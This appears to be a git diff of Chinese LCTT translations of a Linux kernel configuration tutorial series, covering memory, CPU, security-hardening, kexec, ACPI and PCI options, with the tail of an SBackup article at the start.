现在文件已经从备份中恢复,就这么简单。
### 来源: ###
- [https://launchpad.net/sbackup][1]
- [http://sourceforge.net/projects/sbackup/][2]
--------------------------------------------------------------------------------
via: http://www.unixmen.com/linux-desktop-backup-made-easy-sbackup/
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://launchpad.net/sbackup
[2]:http://sourceforge.net/projects/sbackup/

View File

@ -0,0 +1,160 @@
戴文的Linux内核专题08 配置内核(4)
================================================================================
在这个第四部分里,我们将继续配置更多的设置和特性。
这里我们被问及关于"IBM Calgary IOMMU support (CALGARY\_IOMMU)"。这个选项将会提供对IBM xSeries x366和x460的IOMMU的支持。这也将让那些32位PCI的设备工作正常——在这些系统上不支持双地址周期(DAC : Double Address Cycle)——因为该系统设置在访问超过3GB内存的时候会有问题。如果需要这些IOMMU设备可以用"iommu=off"在启动时关闭。(这些内核/模块参数会在以后的文章中讨论)
IOMMU(input/output memory management unit)是一个内存管理单元(MMU)它连接具有DMA功能的I/O总线到主内存上。DMA(Direct Memory Access)是许多计算机支持的一种允许特定设备不借助CPU直接访问内存的特性。双地址周期(Double Address Cycle, DAC)是64位DMA而通常的DMA使用32位。
下面我们被问及是否默认启用Calgary(Should Calgary be enabled by default? (CALGARY\_IOMMU\_ENABLED\_BY\_DEFAULT))。Calgary与上面提到的IOMMU是同一个概念。这两者之间的不同是IOMMU可以支持许多设备而Calgary只能支持IBM IOMMU设备。如果禁用了它但是以后需要使用到它可以使用内核参数(iommu=calgary)。
这里有个问题需要小心处理(Enable Maximum number of SMP Processors and NUMA Nodes (MAXSMP))。只有在内核运行在拥有很多SMP处理器和NUMA节点的情况下才启用它如Core i7和许多AMD CPU芯片。如果系统缺乏或者只有少量的SMP处理器和NUMA节点内核就会变得低效。这个最好选择"No"。
非一致性内存访问(Non-Uniform Memory Access (NUMA))是一个每块内存都需要花费更长时间访问其他部分内存的系统。一个节点就是一组内存。例如一个NUMA系统可能有三块内存芯片。每块芯片是一个节点在带CPU的主板上有一个节点/芯片(这是最快的节点),另外两个在不同的总线上。这两个节点需要比第一个节点花费更长的时间去访问。
注意ccNUMA和NUMA目前是一样的至少是非常相似的。
对称多处理器(Symmetric Multi-Processing (SMP))是NUMA的替代品。它的内存在同一根总线上。只有限定数量的CPU可以访问总线所以这限制了SMP系统上处理器的数量。然而它内存的访问速度一样块。
注意我是在为AMD64系统在编译内核所以我会告诉你我的选择来帮助读者理解过程和选择。如果我没有指出我的选择那么我用的就是默认选择。如果你在为不同的系统编译或者你有不同的需求你需要在你的情况下做出替代的选择。
接下来除非配置工具已经为你做了选择选择一个内核需要支持的最多CPU的数量。这个配置根据你给的数量优化内核。
接着启用或禁用"SMT (Hyperthreading) scheduler support (SCHED\_SMT)"超线程调度器支持。SMT调度器提升了在使用了超线程技术的Pentium 4处理器上的CPU决策能力。然而这会带来额外的功耗在一些系统上最好像我一样选择"no"。
超线程一种专有的SMT并行微处理器(Intel 实现了它)。这是多任务/多线程(同时做许多任务)的一种特殊形式,并行多线程(Simultaneous multithreading (SMT))提升了多线程执行的效率。
在这之后,启用或者禁用"Multi-core scheduler support (SCHED\_MC)"。这样也是一种提升多核CPU决策的特性。然而这回带来额外功耗我选择了"No"。
在下一个选项中可以选择抢占模式。
Preemption Model抢占模式
1\. No Forced Preemption (Server) (PREEMPT\_NONE) (非强制抢占)
\> 2. Voluntary Kernel Preemption (Desktop) (PREEMPT\_VOLUNTARY) (自愿内核抢占)
3\. Preemptible Kernel (Low-Latency Desktop) (PREEMPT) (可抢占内核)
choice[1-3]: 2
抢占就是暂停一个意图让它之后继续执行的中断任务的过程。抢占强制一个进程暂停,执行中的任务无法忽视抢占。
接着,我们被询问关于"Reroute for broken boot IRQs (X86\_REROUTE\_FOR\_BROKEN\_BOOT\_IRQS)"。这是一个对于假中断的简单修复。假中断是一种无用的硬件中断,这些通常是有电子干扰或者错误连接的电子产品触发。记住,中断是发送给处理器需要马上注意的信号。
这个选项对任何机器都很重要;我怀疑任何人可能都会有禁用这个特性的理由(Machine Check / overheating reporting (X86\_MCE))。内核必须意识到过热和数据损坏,不然,系统将会继续操作,这样只会导致进一步的破坏。
下面,用户可以启用禁用"Intel MCE features (X86\_MCE\_INTEL)"这是一种额外的对像热度监控的Intel MCE特性的支持。因为我是为AMD64处理器编译内核所以我选择了"no"。机器检测异常(MCE)是一种当处理器发现硬件问题时的错误输出。MCE通常会导致内核严重错误(kernel panic)(相当于Windows中的"蓝屏")。
这个除了是AMD设备外是同一个问题Intel MCE features (X86\_MCE\_INTEL)。
下一个是我会禁用的调试特性(Machine check injector support (X86\_MCE\_INJECT))。这个会允许注射检查。如果你偶尔执行机器注射那最好编译成模块而不是编译进内核。机器注射可以使设备即使实际没有错误也可以发送一个伪造的错误信息。这个用来确认内核和其他进程可以正常处理错误。比如如果CPU过热接着应该关机但是开发者如何在不损坏CPU的情况下测试代码。注射错误是一种最好的方法因为它只是一种告诉硬件发送错误信号的软件。
注:模块是对可能被使用或者很少执行的特性/驱动而言的。只加入在许多使用该内核的系统中用到的特性/驱动到内核中。
如果内核很可能用在Dell笔记本上那么启用这个特性(Dell laptop support (I8K))。否则如果一些用户可能在戴尔笔记本电脑上用到这个内核将其作为一个模块加入。如果这个内核不打算支持Dell笔记本那就像我一样忽略掉它。特别地这个支持是一个允许Dell Inspiron 8000系列笔记本访问处理器的系统管理模式的驱动。系统管理模式的目的是得到处理器的温度和风扇状态这对一些需要控制风扇的系统有用。
下面,用户可以选择微码加载支持(CPU microcode loading support (MICROCODE))。这可以允许用户在支持这个特性的AMD或者Intel芯片上更新微码。
注意:为了加载微码,你必须拥有一个为你的处理器设计的合法的二进制微代码拷贝。
如果要加载微码补丁(修复bug或加入次要的特性)到intel芯片上(Intel microcode loading support (MICROCODE\_INTEL)),这个就必须启用。这里我禁用了它。
然后是AMD芯片的类似选项(AMD microcode loading support (MICROCODE\_AMD))。
启用这个支持(/dev/cpu/*/msr - Model-specific register support (X86\_MSR))可以允许某个处理器有权限使用x86特殊模块寄存器(Model-Specific Registers (MSRs))。这些寄存器是一些字符设备包括major 202下minor 0到31的设备((/dev/cpu/0/msr to /dev/cpu/31/msr))。这个特性用在多处理器系统上。每个虚拟字符设备都连接到一个特定的CPU。
注意MSRs被用来改变CPU设备、调试、性能监控和执行追踪。MSRs使用x86指令集。
在这之后,我们有一个选项"CPU information support (X86\_CPUID)"启用这个特性允许处理器访问x86 CPUID指令这需要通过字符设备在一个特定的CPU上执行。这些字符设备包括major 202下minor 0到31的设备(/dev/cpu/0/msr to /dev/cpu/31/msr)就像上面x86\_MSR支持的这些。
如果处理器支持启用内核线性映射来使用1GB的内存页(Enable 1GB pages for kernel pagetables (DIRECT\_GBPAGES))。启用这个可以帮助减轻TLB的压力。
页是内存本身的基本单位(位是数据的基本单位)。页的大小是由硬件自身决定的。页码表是虚拟和物理内存间的映射。物理内存是设备上的内存。虚拟内存是到内存的地址。依赖于系统架构硬件可以访问大于实际内存地址的地址。举例来说一个64位系统拥有6GB内存管理员在需要时可以加上更多的内存。这是因为还有很多虚拟内存地址。然而在很多32位系统上系统管理员可以增加一条8GB的内存但是系统无法完全使用它因为系统中没有足够的虚拟内存地址去访问大容量的内存。转换后援缓冲器(Translation Lookaside Buffer (TLB))是一种提升虚拟内存转换速度的缓存系统。
下面我们看到了NUMA选项(Numa Memory Allocation and Scheduler Support (NUMA))。这可以允许内核在CPU本地内存分配器上分配CPU可使用的内存。这个支持同样可使内核更好感知到NUMA。很少的32位系统需要这个特性但是一些通用的645位处理器使用这个特性。我选择了"no"。
为了系统使用旧方式来检测AMD NUMA节点拓扑启用这个特性(Old style AMD Opteron NUMA detection (AMD\_NUMA))。下一个选项是一种更新的检测方式(ACPI NUMA detection (X86\_64\_ACPI\_NUMA))。如果两个都启用,新的方式将会占支配作用。一些硬件在使用其中一种方式而不是另外一个时工作得更好。
如果为了调试目的的NUMA仿真可以启用下一个特性(NUMA emulation (NUMA\_EMU))。
注意:如果你不打算进行调试并且你需要一个快速、轻量级系统,那么禁用尽可能多的调试特性。
下一个选项中选择你的内核打算如何处理NUMA节点的最大数量。接下来选择内存模型这里可能只有一个内存模型选择。内存模型指定了内存如何存储。
Maximum NUMA Nodes (as a power of 2) (NODES\_SHIFT) [6]
Memory model
\> 1. Sparse Memory (SPARSEMEM\_MANUAL)
choice[1]: 1
为了提升性能,这里有一个选项用通过虚拟内存映射(Sparse Memory virtual memmap (SPARSEMEM\_VMEMMAP))来优化pfn\_to\_page和page\_to\_pfn操作。页帧号是每页被给定的号码。这两个操作用来从号码得到页或者从页得到号码。
下一个选项是允许一个节点可以移除内存(Enable to assign a node which has only movable memory (MOVABLE\_NODE))。内核页通常无法移除。当启用后,用户可以热插拔内存节点,同样可移除内存允许内存整理。作为出入内存的数据,只要有可用空间一组数据可能被划分到不同内存。
接着前面的内存问题,我们还有更多的问题。这些可能已被配置工具预配置了。第三个选项(BALLOON\_COMPACTION),当启用时可以帮助减少内存碎片。碎片内存会减慢系统速度。第四个选项(COMPACTION)允许内存压缩。下面列到的第五个选项(MIGRATION)允许页面被移动。
- Allow for memory hot-add (MEMORY\_HOTPLUG) (允许内存热添加)
- Allow for memory hot remove (MEMORY\_HOTREMOVE) (允许内存热移除)
- Allow for balloon memory compaction/migration (BALLOON\_COMPACTION) (允许泡状内存规整和合并)
- Allow for memory compaction (允许内存规整)
- Page migration (MIGRATION) (页合并)
注意启用可移动内存会启用以上5个特性。
下一步,我们可以"Enable KSM for page merging (KSM)"。内核同页合并(Kernel Samepage Merging (KSM))会查看程序认为可以合并的内核。如果两页内存完全相同这可以节约内存。一块内存可以被删除或者被合并,并且只有一块可以使用。
配置工具可能会自动选择保存多少内存用于用户分配(Low address space to protect from user allocation (DEFAULT\_MMAP\_MIN\_ADDR) [65536])。
下一个选项很重要(Enable recovery from hardware memory errors (MEMORY\_FAILURE))。如果内存故障并且系统有MCA恢复或者ECC内存系统就可以继续运行并且恢复。要使用这个特性硬件自身和内核都必须支持。
机器检测架构(Machine Check Architecture (MCA))是一个一些CPU上可以发送硬件错误信息给操作系统的特性。错误更正码内存(Error-correcting code memory (ECC memory))是一种内存设备检测和纠正错误的形式。
下面,配置工具会自动启用"HWPoison pages injector (HWPOISON\_INJECT)"。这个特性允许内核标记一块坏页为"poisoned",接着内核会杀死创建坏页的程序。这有助于停止并纠正错误。
为了允许内核使用大页(Transparent Hugepage Support (TRANSPARENT\_HUGEPAGE)),启用这个特性。这可以加速系统但是需要更多内存。嵌入式系统不必使用这个特性。嵌入式系统通常只有非常小的内存。
如果启用了上面的那么必须配置大页的sysfs支持。
Transparent Hugepage Support sysfs defaults
1\. always (TRANSPARENT\_HUGEPAGE\_ALWAYS)
\> 2. madvise (TRANSPARENT\_HUGEPAGE\_MADVISE)
choice[1-2?]: 2
下面的选项是增加process\_vm\_readv和process\_vm\_writev这两个系统调用(Cross Memory Support (CROSS\_MEMORY\_ATTACH))。这允许特权进程访问另外一个程序的地址空间。
如果有tmem启用缓存清理(cleancache)通常是一个好主意 (Enable cleancache driver to cache clean pages if Transcendent Memory (tmem) is present (CLEANCACHE))。当一些内存页需要从内存中移除时cleancache会将页面放在cleancache-enabled的文件系统上。当需要该页时页会被重新放回内存中。超内存(tmem)没有一组已知大小的内存,内核对此内存使用间接寻址。
下一个选项允许在tmen激活后缓存交换页(Enable frontswap to cache swap pages if tmem is present (FRONTSWAP))。frontswap在交换分区放置数据。交换特性的支持需要这个。
最好启用下一个特性(Check for low memory corruption (X86\_CHECK\_BIOS\_CORRUPTION))。这会检测低位内存的内存损坏情况。这个特性在执行期被禁止。为了启用这个特性,在内核命令行内加入 "memory\_corruption\_check=1"(这会在以后的文章中讨论;这不同于任何命令行)。即使经常执行这个特性,也只使用非常小的开销(接近没有)。
接下来我门可以设置内存损坏检测的默认设置(“Set the default setting of memory\_corruption\_check (X86\_BOOTPARAM\_MEMORY\_CORRUPTION\_CHECK))。这可以选择是否开启或关闭memory\_corruption\_check。最好启用内存损坏检测不然如果一部分重要内存损坏后可能会导致数据丢失和系统崩溃。
这个选项关注的是BIOS(Amount of low memory, in kilobytes, to reserve for the BIOS (X86\_RESERVE\_LOW) [64])。配置工具通常知道给BIOS预留内存的最佳大小。
对于Intel P6处理器开发者可以启用存储区域类型寄存器(MTRR (Memory Type Range Register) support (MTRR))。这用于连接着VGA卡的AGP和PCI卡。启用这个特性内核会创建/proc/mtrr。
如果X驱动需要加入回写入口那么启用下面的选项(MTRR cleanup support (MTRR\_SANITIZER))。这会将MTRR的布局从连续转换到离散。存储区域类型寄存器(Memory type range registers (MTRRs))提供了一种软件访问CPU缓存的方法。
下面配置工具已经设置了一些MTRR选项
- MTRR cleanup enable value (0-1) (MTRR\_SANITIZER\_ENABLE\_DEFAULT) [1]
- MTRR cleanup spare reg num (0-7) (MTRR\_SANITIZER\_SPARE\_REG\_NR\_DEFAULT) [1]
为了设置页级缓冲控制那就启用PAT属性(x86 PAT support (X86\_PAT))。页属性表(Page Attribute Table (PATs))是现在版的MTRRs并比它更灵活。如果你经历过因启用它而引发的启动问题那么禁用这个特性后重新编译内核。我选择了"no"。
--------------------------------------------------------------------------------
via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-4.4392/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,114 @@
戴文的Linux内核专题09 配置内核(5)
================================================================================
Linux内核拥有许多可以配置的特性接下来我们还有许多要配置。
下一个可以配置的特性是x86的随机数生成器(x86 architectural random number generator (ARCH_RANDOM))。记住我们现在配置的是针对AMD64系统的内核代码。这个随机数生成器使用Intel x86的RDRAND指令。这并不通用所以为了一个更轻量的内核我禁用了它。
接着,我们可以启用或者禁用"Supervisor Mode Access Prevention (X86\_SMAP)"。这是Intel处理器使用的安全特性。SMAP在一些条件下只允许内核访问用户空间。这个有助于保护用户空间。如果启用这里有一点性能和内核大小的开销但是开销很小。由于我是用的是AMD系统所以我禁用了这个特性。
开发者可以启用"EFI runtime service support (EFI)"。只有在有EFI固件的系统上启用它。拥有这个特性内核可以使用的EFI服务。EFI是一个操作系统和硬件如何交流的规范所以EFI固件是使用这个规范的硬件代码。因为我没有EFI固件所以我禁用了它。
这是一个应该被启用的有用的安全方式(Enable seccomp to safely compute untrusted bytecode (SECCOMP))。这个安全特性在使用非可信的字节码的数值计算(执行大量计算的软件)中使用。字节码(可移植代码)是一种被解释器有效读取的代码。字节码不是源代码,但它也不是汇编或者二进制代码。非可信的代码是一种可能导致系统/数据损坏的代码。可能会破坏系统或者毁坏数据的非可信的代码通过seccomp被隔离在独立的地址空间中。这是通过文件描述符传输的方法。通常上最好启用这个安全特性即使会有一些性能开销除非你在制作一个需要榨干性能的内核。
这里是另外一个安全特性(Enable -fstack-protector buffer overflow detection (CC\_STACKPROTECTOR))。缓冲溢出是数据被写在超出了它的内存界限而进入了邻近的内存中。这是一个安全威胁。一些恶意软件使用缓冲区溢出来破坏系统。启用这个会使用GCC选项 "-fstack-protector"。GCC是一个Linux编译器在你配置完成后用它来编译内核。这个编译器参数会在返回地址前在栈上加入一个canary值(特殊的安全代码)。这个值会在返回前被验证。当内存溢出发生时canary值会得到覆盖消息。这时会导致内核崩溃。如许多人知道的那样内核错误意味着系统将要崩溃但是这比系统被入侵或者数据永久损害的好。发生内核错误系统会重启但是如果缓冲溢出则可能导致系统被入侵。一个简单的重启无法修复破坏译注但也不会更坏。你必须用GCC 4.2或者更高版本支持这个参数的GCC来编译内核。
提示:要知道你使用的版本号,在命令行内键入"gcc --version"。
在这之后我们可以配置定时器频率。配置工具建议使用250Hz所以我们使用这个值。
Timer frequency
1\. 100 HZ (HZ\_100)
\>2\. 250 HZ (HZ\_250)
3\. 300 HZ (HZ\_300)
4\. 1000 HZ (HZ\_1000)
choice[1-4?]: 2
使用1000Hz通常来讲对许多系统而言太快了。定时器频率决定着定时器中断被使用的频率。这有助于在时间线上的系统操作。程序并不是随机地执行一条命令相反它们会等到定时器中断结束。这保持着有组织和结构的处理。频率为100Hz的定时器中断之间的时间是10ms250Hz是4ms1000Hz是1ms。现在许多开发者会马上想到1000Hz是最好的。好吧这取决于你对开销的要求。一个更大的定时器频率意味着更多的能源消耗和更多的能源被利用(在定时器上),产生更多的热量。更多的热量意味着硬件损耗的更快。
注意:如果某个特定的特性对你并不重要或者你不确定该选择什么,就使用配置工具选择的默认值。比如,就我现在正在配置的内核而言,使用哪个定时器对我并不重要。总的来说,如果你没有特别的原因去选择任何一个选项时,就使用默认值。
下面这个有趣的系统调用可能会对一些用户有用(kexec system call (KEXEC))。kexec调用会关闭当前内核去启动另外一个或者重启当前内核。硬件并不会关闭并且这个调用可以无需固件的帮助工作。bootloader是不执行的(bootloader是启动操作系统的软件) 。这个重启发生在操作系统级别上而不是硬件上。使用这个系统调用会快于执行一个标准的关机或者重启,这会保持硬件在加电状态。这个系统调用并不能工作在所有系统上。为了更高性能,启用这个热启动功能。
为了使用kexec对重启后要使用的内核使用如下命令替换"<kernel-image>"。同样,使用之前我们讲过的内核参数替换"<command-line-options>" (我会在以后的文章中更深入的讨论。)
kexec -l <kernel-image> --append="<command-line-options>
特别地,我这里输入:
kexec -l /boot/vmlinuz-3.8.0-27-generic append="root=/dev/sda1"
注意硬件有时不需要重置所以这不依赖于kexec。
下面我们有一个适用于kexec的调试特性(kernel crash dumps (CRASH\_DUMP))。当kexec被调用时一个崩溃信息(crash dump)会生成。除非你有必要调试kexec否则这个并不必要。我禁用了这个特性。
再者我们有另外一个kexec特性(kexec jump (KEXEC_JUMP))。kexec跳允许用户在原始内核和kexec启动的内核之间切换。
最好对内核启动地址使用默认值(Physical address where the kernel is loaded (PHYSICAL\_START) [0x1000000])。
下一个内核选项(Build a relocatable kernel (RELOCATABLE))允许内核放在内存的任何地方。内核文件会增大10%但是超出部分会在执行时从内存移除。许多人也许想知道这为什么很重要。在2.6.20内核前,救援内核(rescue kernel)必须被配置和编译运行在不同的内存地址上。当这个特性发明后,开发者不必再编译两个内核。救援内核不会在第一个已加载的内核的地方加载,因为该块内存已被占用或者发生了错误。(如果你正在使用救援内核,那么明显第一个内核发生了错误)
下面这个特性应该在可以增加CPU数量的系统中启用除非你有特别的理由不去这么做(Support for hot-pluggable CPUs (HOTPLUG\_CPU))。配置工具会自动启用这个特性。在这个特性下,你可以在一个拥有很多处理器的系统上激活/停用一个CPU这并不是说在系统中插入新的CPU所有的CPU必须已经安装在系统中。
下面的选项会让我们选择设置上面的特性是否默认启用(Set default setting of cpu0_hotpluggable (BOOTPARAM\_HOTPLUG\_CPU0))。为了性能最好禁用这个特性直到需要的时候。
接着的这个调试特性允许开发者调试CPU热插拔特性(Debug CPU0 hotplug (DEBUG\_HOTPLUG\_CPU0))。我禁用了它。
为了兼容旧版本的glibc(<2.3.3)可以启用这个特性(Compat VDSO support (COMPAT\_VDSO))。这适用于通过映射32位在VDSO(虚拟动态链接共享对象)的旧式地址Glibc是GNC C库这是GNU工程实现的C标准库
如果系统内核被用于一个缺乏完整功能的bootloader上那么启用这个特性(Built-in kernel command line (CMDLINE_BOOL))。这允许用户在内核自身上使用一条命令行译注及其参数那么管理员可以修复内核问题。如果bootloader已经有了一条命令行(像grub),那么这个特性不必启用。
现在我们可以配置ACPI和电源了。首先,我们被要求选择系统是否可以挂起到内存(Suspend to RAM and standby (SUSPEND))。高级配置和电源接口(ACPI)是一种对于设备配置和电源管理的开放标准。挂起系统会将数据放在内存上,同时硬件进入一种低功耗的状态。系统不会完全关机。如果用户需要计算机进入一个低功耗的状态,但是希望保留当前已打开程序时是非常有用的。关闭一个系统会完全关闭系统电源并且清理内存。
下面,我们可以启用睡眠(Hibernation (aka 'suspend to disk') (HIBERNATION))。睡眠就像挂起模式,但是内存中所有数据被保存到硬盘上,并且设备完全关闭。这允许用户在电源恢复后继续使用他们已打开的程序。
这里,我们可以设置默认的恢复分区(Default resume partition (PM\_STD\_PARTITION))。很少有开发者和管理员需要这个特性。当系统从睡眠中恢复时,他会加载默认的恢复分区。
在这之后,我们可以启用"Opportunistic sleep (PM\_AUTOSLEEP)"。这会让内核在没有活跃的唤醒调用被调用时进入挂起或者睡眠状态。这意味着空闲的系统将会进入挂起模式以节省电源。我启用了这个特性。
接下来,是询问关于"User space wakeup sources interface (PM\_WAKELOCKS)"。启用这个特性将会允许唤醒源对象被激活、停用并通过基于sysfs接口由用户空间创建。唤醒源对象会追踪唤醒事件源。
sysfs是位于/sys/的虚拟文件系统。这个虚拟文件系统包含了关于设备的信息。当进入/sys/时,它似乎是硬盘的一部分,但是这个并不是一个真正的挂载点。这些文件实际存在于内存中。这与/proc/是同一个概念。
注意:"/sysfs/"是一个文件夹,而"/sysfs"则可以是一个根目录下名为"sysfs"的文件。许多Linux用户会混淆这两种命名约定。
如果启用了上面的选项,那么你可以设置"Maximum number of user space wakeup sources (0 = no limit) (PM\_WAKELOCKS\_LIMIT)"。最好选择默认,那么你就可以启用垃圾收集器(Garbage collector for user space wakeup sources (PM\_WAKELOCKS\_GC))。垃圾收集是一种内存管理方式。
注意: 在需要更多内存的系统中,通常最好在大多数情况下尽可能启用垃圾收集。不然内存会消耗得更快且杂乱。
下一个电源选项关于IO设备(Run-time PM core functionality (PM\_RUNTIME))。这个选项允许IO硬件在运行时进入低功耗状态。硬件必须支持这个才行不是所有硬件都支持。
与其他许多内核组件一样,如果启用了(Power Management Debug Support),电源管理代码同样有调试支持。我禁用了这个选项。
注意: 注意这些我引用/显示的配置工具上的选项或问题不再显示选项代码(括号间所有的大写字母)。这是因为我没有使用基于ncurses的配置工具(make menuconfig)而是使用默认工具去得到选项、设置和问题。记住,"make config"缺乏保存当前进度的能力。
在这之后,配置工具会启用"ACPI (Advanced Configuration and Power Interface) Support"。最好允许这个电源管理规范。通常配置工具会启用这个特性。
为了允许向后兼容,启用"Deprecated /proc/acpi files"。新的实现使用更新的在/sys下的实现。我禁用了这个选项。一个相似的问题询问关于"Deprecated power /proc/acpi directories"。通常上,如果你禁用了这些文件你不再需要这些文件夹所以我禁用了他们。一些旧的程序可能会使用这些文件和文件夹。如果你在给旧的的Linux系统上编译一个新的内核最好启用这个选项。
下面,我们有另外一个文件接口可以启用或者禁用(EC read/write access through)。这会在/sys/kernek/debug/ec下创建一个嵌入式控制器接口。嵌入式控制器通常在笔记本中读取传感器内核代码通过系统的BIOS表提供的ACPI代码访问嵌入式控制器。
这里有另外一个可以启用或者禁用的向后兼容特性 (Deprecated /proc/acpi/event support)。acpi守护进程可能会读取/proc/api/event来管理ACPI生成的驱动。不同于这个接口守护进程使用netlink事件或者输入层来得到送给用户空间的事件acpi守护进程管理ACPI事件。
下一个选项允许开发者启用一个特性,它会通知内核现在使用的是交流电源(AC Adapter)还是电池。下一个选项从/proc/acpi/battery/ (Battery)中提供电池信息。
为了内核在电源/睡眠按钮按下或者盖子合上时不同表现,启用这个“按钮”选项(Button)。这些事件在/proc/acpi/event/中控制。比如这样的行为,如果在用户账户的电源选项启用了挂起,当笔记本电脑的盖子关闭后系统将会挂起。
下一个ACPI扩展是针对显卡的(Video)。
ACPI风扇控制可以被启用/禁用(Fan)。最好启用ACPI风扇管理这有助于节能。
我们正在进一步配置内核中,但在接下来的文章中还有更多要做。
--------------------------------------------------------------------------------
via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-5.4424/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,34 +1,33 @@
10 Linux 内核: 配置内核 (Part 6)
戴文的Linux内核专题10 配置内核(6)
================================================================================
![](http://www.linux.org/attachments/slide-jpeg.464/)
欢迎来到下一篇关于内核配置文章还有大量的选项需要配置。这篇文章将主要讨论PCI和ACPI。
这里我们可以启用由ACPI控制的扩展坞和可移动驱动器槽的支持(Dock)。记住,ACPI(Advanced Configuration and Power Management Interface)是一个电源管理系统。扩展坞是一种其他的设备通过额外的接口插入的设备。扩展坞可能可以容纳许多不同的端口和连接器。所以一个基于ACPI控制的扩展坞是一个自身由ACPI控制的扩展坞。驱动器槽是一套可以增加硬盘的设备这也可以由ACPI管理。
这里我们可以启用由ACPI控制的扩展坞和可移动驱动器槽的支持(Dock)。记住ACPI(Advanced Configuration and Power Management Interface)是一个电源管理系统。扩展坞是一种其他的设备通过额外的接口插入的设备。扩展坞可以容纳许多不同的端口和连接器。一个ACPI控制的扩展坞是指其电源管理是通过ACPI进行的。驱动器槽是一套可以增加硬盘的设备这也可以由ACPI管理。
下面我们允许ACPI用来管理空闲的CPU(Processor)。这会让处理器在空闲时进入ACPI C2或者C3状态。这可以节省电源并降低CPU芯片的温度。处理器只在100%没有占用时才进入空闲状态。没有程序可以请求一段时间的CPU资源。
下面我们允许ACPI用来管理空闲的CPU(Processor)。这会让处理器在空闲时进入ACPI C2或者C3状态。这可以节省电源并降低CPU芯片的温度。处理器只在100%没有占用时才进入空闲状态。没有程序必须请求一个特定时间的CPU资源。
CPU电源有四个状态 - C0、C1、C2和C3。C0是操作激活状态。C1(Halt)是一个不执行指令激活状态但是可以立刻执行指令。C2(Stop-Clock)是一种断电状态。C3(Sleep)是一种比C2更彻底的断电状态。在C3状态中缓存现在不再同步或者管理知道CPU离开这个状态。第五个状态称作C1E(Enhanced Halt State),他拥有低功耗。
CPU电源有四个状态 - C0、C1、C2和C3。C0是操作激活状态。C1(Halt)是一个不执行指令激活状态但是可以立刻执行指令。C2(Stop-Clock)是一种断电状态。C3(Sleep)是一种比C2更彻底的断电状态。在C3状态中现在缓存不再被同步或者管理,直到CPU离开这个状态。第五个状态称作C1E(Enhanced Halt State),他拥有低功耗。
如果启用了IPMI驱动那么ACPI可以访问BMC控制器(IPMI)。基板管理控制器(BMC)是一种管理软件和硬件间连接的微控制器。智能平台管理接口(IPMI)是一种框架,通过直接的硬件层面而不是硬件层面或者操作系统层面来管理计算机。
如果启用了IPMI驱动那么ACPI可以访问BMC控制器(IPMI)。基板管理控制器(BMC)是一种管理软件和硬件间连接的微控制器。智能平台管理接口(IPMI)是一种框架,通过直接的硬件层面而不是登录shell或者操作系统层面来管理计算机。
ACPi v4.0过程聚合器允许内核应用一个CPU配置到所有系统中的处理器中(Processor Aggregator)。截止到ACPI v4.0只有idle状态可以用这个方式配置。
ACPI v4.0进程聚合器允许内核应用一个CPU配置到所有系统中的处理器中(Processor Aggregator)。截止到ACPI v4.0只有idle状态可以用这个方式配置。
接下来可以启用ACPI热区(Thermal Zone)。多数硬件支持这个特性。这允许风扇的电源由ACPI管理。
如果启用这个选项自定义DSDT可以链接到内核。在这个设置中开发者必须在文件中包含完整的路径名。系统差异表(DSDT)是一个包含了系统支持的电源事件信息的文件。它不需要输入路径名这些表存在于固件中。内核会帮你处理这些。这个主要的目的是用于如果开发者需要使用不同于设备内置的表时用到。
如果启用这个选项自定义DSDT可以链接到内核。在这个设置中开发者必须在文件中包含完整的路径名。系统差异表(DSDT)是一个包含了系统支持的电源事件信息的文件。它不需要输入路径名这些表存在于固件中。内核会帮你处理这些。这个主要的目的是用于如果开发者需要使用不同于设备内置的表时用到。
任意ACPI表都可以通过initrd来覆盖(ACPI tables override via initrd)。ACPI表是指示如何控制并与硬件交互的基础规则和指令。
像内核的其他部分一样ACPI系统也可以生成调试信息(Debug Statements)。像其他调试特性一样或许希望禁用它并省下50KB。
像内核的其他部分一样ACPI系统也可以生成调试信息(Debug Statements)。像其他调试特性一样,或许希望禁用它并省下50KB。
启用下面的特性会为系统检测每个PCI插槽(PCI slot detection driver)创建文件(/sys/bus/pci/slots/)。一个PCI插槽是在PCI主板上的一个端口它允许用户接上其他的PC设备。PCI是主板的一种类型。PCI是指组件互相通信的方式。有些应用程序可能需要这些文件。
启用下面的特性会为系统检测到的每个PCI插槽(PCI slot detection driver)创建文件(/sys/bus/pci/slots/)。一个PCI插槽是在PCI主板上的一个端口它允许用户接上其他的PC设备。PCI是主板的一种类型。PCI是指组件互相通信的方式。有些应用程序可能需要这些文件。
电源管理定时器是另外一种电源管理系统(Power Management Timer Support)。这是许多系统追踪时间的方式。这个需要更少的电源。处理器的空闲、电压/频率调节和节流都不会影响这个定时器。大量的系统需要使用这个特性。
电源管理定时器是另外一种电源管理系统(Power Management Timer Support)。这是许多系统追踪时间的方式。这个只需要很少的能源。处理器的空闲、电压/频率调节和节流都不会影响这个定时器。大量的系统需要使用这个特性。
下面可以启用ACPI模块和容器设备驱动(Container and Module Devices)。这会启用处理器、内存和节点的热插拔支持。它需要NUMA系统。
下面的驱动提供对ACPI内存的热插拔支持(Memory Hotplug)。有些设备甚至启用这个驱动也不支持热插拔。如果驱动以模块形式加入那么模块将会被acpi_memhotplug调用。
下面的驱动提供对ACPI内存的热插拔支持(Memory Hotplug)。有些设备甚至启用这个驱动也不支持热插拔。如果驱动以模块形式加入那么模块将会被acpi\_memhotplug调用。
注意对于内核某个特定的功能硬件、BIOS和固件在必须支持时会有问题。有些系统的BIOS是不控制硬件的。这种类型的BIOS通常不会限制特性。如果内核确实有一个特定的功能硬件必须有能力完成这样的任务。
@ -42,21 +41,21 @@ APEI是ACPI的错误接口(ACPI Platform Error Interface (APEI))。APEI从芯片
当"SFI (Simple Firmware Interface) Support" 启用后硬件固件可以发送消息给操作系统。固件与操作系统间的通信通过内存中的静态表。SFI-only的计算机的内核工作需要这个特性。
